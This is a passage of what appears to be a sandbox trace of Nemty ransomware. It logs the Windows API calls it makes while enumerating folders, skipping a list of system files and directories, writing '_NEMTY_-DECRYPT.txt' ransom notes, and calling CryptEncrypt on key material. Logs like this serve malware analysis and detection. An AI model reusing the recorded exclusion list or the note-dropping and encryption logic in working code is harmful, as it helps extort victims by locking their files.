hHeap=0x4f90000) returned 1 [0047.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.592] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd00faeb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd00faeb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0047.592] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.592] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd00faeb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd00faeb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.592] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.592] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.592] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2=".") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="..") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="...") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="windows") returned -1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="$RECYCLE.BIN") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="rsa") returned -1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="NTDETECT.COM") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="ntldr") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="MSDOS.SYS") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="IO.SYS") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="boot.ini") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="boot.ini") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="AUTOEXEC.BAT") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="ntuser.dat") returned 1 [0047.592] lstrcmpiW (lpString1="Proof.en", lpString2="desktop.ini") returned 1 [0047.593] lstrcmpiW (lpString1="Proof.en", lpString2="CONFIG.SYS") returned 1 [0047.593] lstrcmpiW (lpString1="Proof.en", lpString2="RECYCLER") returned -1 [0047.593] lstrcmpiW (lpString1="Proof.en", lpString2="BOOTSECT.BAK") returned 1 [0047.593] lstrcmpiW (lpString1="Proof.en", lpString2="bootmgr") returned 1 [0047.593] lstrcmpiW (lpString1="Proof.en", lpString2="programdata") returned 1 [0047.593] lstrcmpiW (lpString1="Proof.en", lpString2="appdata") returned 1 [0047.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.en", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.en", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.en", lpUsedDefaultChar=0x0) returned 8 [0047.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.en", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.en", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.en", lpUsedDefaultChar=0x0) returned 8 [0047.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94230 [0047.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942c8 [0047.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0047.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0047.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0047.594] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.594] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.595] CloseHandle (hObject=0x3c8) returned 1 [0047.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0047.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0047.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0047.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340250 [0047.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0047.596] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0047.596] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.596] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0047.597] CloseHandle (hObject=0x3c8) returned 1 [0047.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0047.597] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0121010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0121010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0047.598] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.598] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0121010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0121010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.598] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.598] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.598] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="...") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="rsa") returned -1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="NTDETECT.COM") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="ntldr") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="MSDOS.SYS") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="IO.SYS") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="boot.ini") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="boot.ini") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="desktop.ini") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="CONFIG.SYS") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="RECYCLER") returned -1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="programdata") returned 1 [0047.598] lstrcmpiW (lpString1="Proof.cab", lpString2="appdata") returned 1 [0047.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.cab", lpUsedDefaultChar=0x0) returned 9 [0047.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0047.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.599] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="...") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="rsa") returned -1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="NTDETECT.COM") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="ntldr") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="MSDOS.SYS") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="IO.SYS") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="boot.ini") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="boot.ini") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.599] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1 [0047.600] lstrcmpiW (lpString1="Proof.msi", lpString2="desktop.ini") returned 1 [0047.600] lstrcmpiW (lpString1="Proof.msi", lpString2="CONFIG.SYS") returned 1 [0047.600] lstrcmpiW (lpString1="Proof.msi", lpString2="RECYCLER") returned -1 [0047.600] lstrcmpiW (lpString1="Proof.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.600] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1 [0047.600] lstrcmpiW (lpString1="Proof.msi", lpString2="programdata") returned 1 [0047.600] lstrcmpiW (lpString1="Proof.msi", lpString2="appdata") returned 1 [0047.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x0) returned 9 [0047.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0047.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0047.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0047.600] Sleep (dwMilliseconds=0x5) [0047.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0147170, dwHighDateTime=0x1d561e7)) [0047.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0147170, dwHighDateTime=0x1d561e7)) [0047.609] GetLastError () returned 0xb7 [0047.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.609] GetLastError () returned 0xb7 [0047.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.609] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0047.609] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0047.609] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0047.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0047.609] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653ec5c | out: pszString="CF0qmJon3dmGtVE1H/j78e1+aD7sxwZ4QmI6xQf98OohqGkFiMxqO6JUeysmJkB7\r\nTmCcmYrkOQyUlZXbCTHedsMwdyo0LRnngz/MWZcSk2I5Waze6ImzTz/Y2sHKlfpF\r\nlDu7rqGx4lFlqB0JggR8qYf6wePQK6TZk2PIrwlSAqJ5c21k3nmS5Eip5Rv/2G0F\r\nC3Owzua8lqnOhu58w8fDGfrsCaqDmF15VXH8i+6tF36bOjXhzAtz3WPIf7MCJRLm\r\n7KyIm8HM8o+0+rZMIedRY/MQi60Apbk5y3Dyg/WMIrP7h9Bi7WJXc15vgHkeUi8s\r\nPvrgOPoGJw7fJ1Rw1TQrTA==\r\n", pcchString=0x653ec5c) returned 1 [0047.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0047.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | 